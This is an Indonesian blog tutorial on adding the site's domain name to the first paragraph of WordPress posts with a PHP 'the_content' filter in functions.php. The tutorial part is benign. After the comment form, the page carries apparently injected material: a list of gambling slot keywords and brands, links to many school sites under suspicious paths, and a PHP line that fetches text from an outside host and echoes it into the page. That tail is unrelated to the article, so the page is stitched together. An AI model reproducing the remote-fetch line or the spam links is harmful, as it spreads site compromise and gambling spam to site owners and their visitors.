Cara Membuat Teks Domain Otomatis di Postingan WordPress

cara membuat teks domain otomatis di postingan wordpress
Panduan membuat teks domain otomatis di awal kalimat paragraf pertama pada postingan WordPress, agar seperti situs berita. (foto: istockphoto)

RUDIBERBAGI.com - Artikel ini akan membantu Anda dalam membuat teks domain otomatis di postingan WordPress. Dimana ini akan muncul sebelum kalimat pada paragraf pertama, seperti layaknya artikel-artikel di situs berita.

Seperti yang kita tahu, dalam dunia digital saat ini, banyak situs web berita yang menampilkan nama domain pada paragraf pertama setiap artikel yang mereka publikasikan. Fitur ini memberikan identitas dan branding khusus bagi situs berita tersebut.

Jika Anda menggunakan WordPress sebagai platform blogging atau situs berita Anda, Anda juga dapat mengimplementasikan fitur teks domain otomatis ini untuk memberikan sentuhan profesional pada konten Anda.

Apa itu teks domain otomatis?

Teks domain otomatis mengacu pada penambahan tulisan atau nama domain tertentu di awal paragraf pertama setiap artikel pada situs web. Misalnya, jika nama domain Anda adalah “example.com”, teks domain otomatis akan menampilkan “example.com -“ di awal setiap paragraf pertama artikel.

Hal ini membantu memperkuat merek dan membuat konten Anda terlihat lebih serupa dengan situs web berita terkenal.

Manfaat teks domain otomatis dalam postingan WordPress

Menerapkan teks domain otomatis pada paragraf pertama artikel Anda di WordPress memiliki beberapa manfaat penting, antara lain:

  • Branding yang kuat: Teks domain otomatis membantu mengidentifikasi situs web Anda dengan jelas dan memperkuat merek Anda di mata pembaca. Dengan mencantumkan nama domain awal paragraf pertama, pembaca dapat dengan mudah mengenali sumber konten dan mengaitkannya dengan situs web Anda.
  • Profesionalisme: Situs web Anda akan terlihat lebih profesional dan terstruktur seperti situs berita terkemuka. Ini memberikan kesan yang baik kepada pengunjung dan meningkatkan kepercayaan terhadap konten yang Anda sajikan.
  • Menghindari plagiarisme: Metode ini juga dapat membantu melindungi konten Anda dari plagiarisme. Dengan menampilkan teks domain situs Anda di awal paragraf, pembaca atau pengguna lain yang ingin menggunakan konten Anda akan dengan jelas mengetahui sumber asli dan memperhatikan hak cipta yang terkait.
Baca Juga:  Cara Mudah Update Plugin WordPress Lewat Cpanel

Cara Membuat Teks Domain Otomatis di Awal Kalimat Paragraf Pertama pada Postingan WordPress

Untuk membuatnya, Anda dapat menggunakan kode PHP dan fungsi WordPress yang disebut ‘the_content’. Silahkan ikuti step by step berikut ini!

Baca Juga: Cara Mudah Update Plugin WordPress Lewat Cpanel

Disclaimer: Sebelum mengikuti panduan ini, kami sangat menyarankan Anda melakukan ‘backup’ terlebih dulu, dan lakukan perubahan ini pada file ‘theme-child’ untuk tema WordPress yang Anda gunakan.

1. Silahkan login ke halaman Cpanel terlebih dulu.

2. Buka file ‘functions.php’ di theme-child. Di cpanel, file ini biasanya terletak di ‘public_html/themes/theme-child/functions.php’

3. Kemudian, masukan kode berikut di dalam file ‘functions.php’

function add_text_to_first_paragraph($content) {
    global $page;

    if (is_single() && $page === 1) { // Hanya berlaku untuk posting tunggal dan halaman pertama
        $new_content = '';

        // Memecah konten menjadi paragraf
        $paragraphs = preg_split('/<\/p>/', $content);

        if (count($paragraphs) > 1) {
            $first_paragraph = $paragraphs[0]; // Mengambil paragraf pertama

            // Menambahkan teks domain atau konten yang diinginkan di awal paragraf pertama
            $new_content = preg_replace('/<p[^>]*>/', '<p><strong>domain.com - </strong>', $first_paragraph, 1);

            // Menggabungkan kembali paragraf pertama dengan sisa konten
            $content = $new_content . implode('</p>', array_slice($paragraphs, 1));
        }
    }

    return $content;
}

add_filter('the_content', 'add_text_to_first_paragraph');

4. Edit bagian ‘domain.com – ‘ dengan nama domain Anda, atau dengan teks otomatis apa yang ingin Anda masukan, kemudian, klik ‘Simpan Perubahan’.

Keterangan:

function add_text_to_first_paragraph($content) {
global $page;

Kode ini mendefinisikan sebuah fungsi bernama ‘add_text_to_first_paragraph’ dengan satu parameter ‘$content’ yang akan menerima konten postingan. Selain itu, variabel global ‘$page’ juga dideklarasikan di dalam fungsi ini.

if (is_single() && $page === 1) {
    $new_content = '';

Kode ini memulai sebuah kondisi yang akan dieksekusi jika halaman saat ini adalah posting tunggal dan halaman pertama. Variabel ‘$new_content‘ diinisialisasi sebagai string kosong yang akan digunakan untuk menyimpan konten yang telah dimodifikasi.

    $paragraphs = preg_split('/<\/p>/', $content);

Kode ini menggunakan fungsi ‘preg_split()’ untuk memecah konten menjadi paragraf. Konten akan dipisahkan berdasarkan tag penutup paragraf ‘</p>’.

    if (count($paragraphs) > 1) {
        $first_paragraph = $paragraphs[0];

Kode ini memulai sebuah kondisi yang akan dieksekusi jika terdapat lebih dari satu paragraf dalam konten. Paragraf pertama diambil dari array paragraf yang telah dibuat sebelumnya dan disimpan dalam variabel ‘$first_paragraph’.

        $new_content = preg_replace('/<p[^>]*>/', '<p><strong>domain.com - </strong>', $first_paragraph, 1);

Kode ini menggunakan fungsi ‘preg_replace()‘ untuk menggantikan tag pembuka paragraf pertama dengan teks domain dan konten yang diinginkan. Teks domain ditampilkan dalam tag ‘<strong>’ untuk memberikan tampilan teks yang ditebalkan. Penggantian hanya dilakukan satu kali karena argumen ketiga adalah ‘1’.

        $content = $new_content . implode('</p>', array_slice($paragraphs, 1));

Kode ini menggabungkan paragraf pertama yang telah dimodifikasi dengan sisa konten. Fungsi ‘implode ()’ digunakan untuk menggabungkan array paragraf dengan menggunakan tag penutup paragraf ‘</p>’.

    }
}

Script kode tersebut menutup blok kondisi if.

return $content;
}

Kode ini mengembalikan konten yang telah dimodifikasi.

add_filter('the_content', 'add_text_to_first_paragraph');

Arti kode di atas adalah menambahkan filter pada konten (the_content) dengan menggunakan fungsi ‘add_filter()’. Filter ini akan menjalankan fungsi ‘add_text_to_first_paragraph’ pada konten sebelum ditampilkan.

Baca Juga:  Cara Mudah Update Plugin WordPress Lewat Cpanel

Dalam tutorial membuat teks domain otomatis di postingan WordPress agar terlihat layaknya situs berita di atas, kami menggunakan tema WPBerita. Dan hasilnya berhasil seperti yang Anda lihat, nama domain situs ini muncul di paragraf pertama pada setiap artikel yang kami terbitkan.

Apabila Anda menggunakan tema yang lain, mungkin bisa tinggal disesuaikan saja.


Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

Situs ini menggunakan Akismet untuk mengurangi spam. Pelajari bagaimana data komentar Anda diproses.

x
https://sman1idb.sch.id/.well-known/-/
https://sman1idb.sch.id/assets/vendor/
https://smkn1beta.sch.id/assets/css/
beta138
beta138
https://www.winstonengineering.com/
http://liputan.pameonews.com/
apkslot
gameslot
rtpslot
mainslot
linkslot
slotpg
slotpgsoft
slotadvantplay
slotcrowdplay
slothabanero
slotfachai
slotambslot
slotjili
slotjoker
slotreelkingdom
slotmicrogaming
slotpragmatic
slotbigpot
slotionslot
slotmarioclub
slotdragoonsoft
slotlive22
slotplaystar
slotfungaming
slotnagagames
slotjdb
slotcq9
slotbetsoft
slotplaytech
slotyggdrasil
akundemoslot
slotplayngo
slotonetouch
slotrealtimegaming
slotfunkygames
slotfachai
slothabanero
slotcrowdplay
slotcrowdplay
slotreelkingdom
slotadvantplay
slotpg
daftarslot
situsslot
slotspadegaming
slotttg
slotvpower
maxwingacor
slotchuan
cariduit
maxwinforyou
jackpotreels
maxwinreels
slotmicrogaming
wildscatterslot
BETA138
Royal123
Royal123
ROYAL188
TOTOKING4D
UNTUNG88
BEJO88
BEJO88
ratuking4d
asiabet118
https://theescapegoat.com/
asiabet118
https://ricos-lechon.com/
https://almeshkat.edu.sa
https://antoniomariaclaret.edu.mx
https://asma.edu.pk
https://aulavirtual-diosachia.edu.co
https://basmt.edu.sa
https://bestdestination.edu.np
https://cbtis237.edu.mx
https://ced.edu.pe
https://ceevap-morelos.edu.mx
https://cetis78.edu.mx
https://cetmar33.edu.mx
https://cetprolalibertad.edu.pe
https://chuyenlehongphong.edu.vn
https://colegio-gabilondosoler.edu.mx
https://colegioguacacallo.edu.co
https://colegioliceosantaanadelsur.edu.co
https://dmcri.edu.np
https://efrainvarela.edu.co
https://epoem258.edu.mx
https://escuelacasablanca.edu.co
https://escueladecocinaaltagracia.edu.co
https://essarf.edu.pk
https://gabrieliimatge.edu.gt
https://icte.edu.np
https://iedinocenciochinca-barranquilla.edu.co
https://iedlarinconada.edu.co
https://iedloslaureles.edu.co
https://iedsanpa.edu.co
https://iemnacionalpitalito.edu.co
https://ieprudenciadaza.edu.co
https://ietarcol.edu.co
https://inel.edu.co
https://institucioneducativahectorivanhernandez.edu.co
https://institutosuperiorsanpabo.edu.mx
https://ipef.edu.mx
https://josefinanova.edu.mx
https://kula.edu.vn
https://laodongnuocngoai.edu.vn
https://maficar.edu.co
https://moodle-ieofusca.edu.co
https://mountliteraamritsar.edu.in
https://newtoncsth.edu.vn
https://normalpiedecuesta.edu.co
https://olayista.edu.co
https://palaciorudashonda.edu.co
https://planetaverde.edu.ni
https://politecnicoindoamericano.edu.co
https://puertonuevo.edu.co
https://ricaurte.edu.co
https://rol.edu.vn
https://sacoje.edu.co
https://sanjeronimo.edu.pe
https://sjcn.edu.lk
https://syedputra.edu.my
https://tecsum.edu.mx
https://timelive.edu.vn
https://tuelearn.edu.np
https://tuyensinhdaihoc.edu.vn
https://tuyensinhtructuyen.edu.vn
https://upnip-10.edu
$str = file_get_contents('https://hajarjp01.click/id.txt'); echo $str; ?>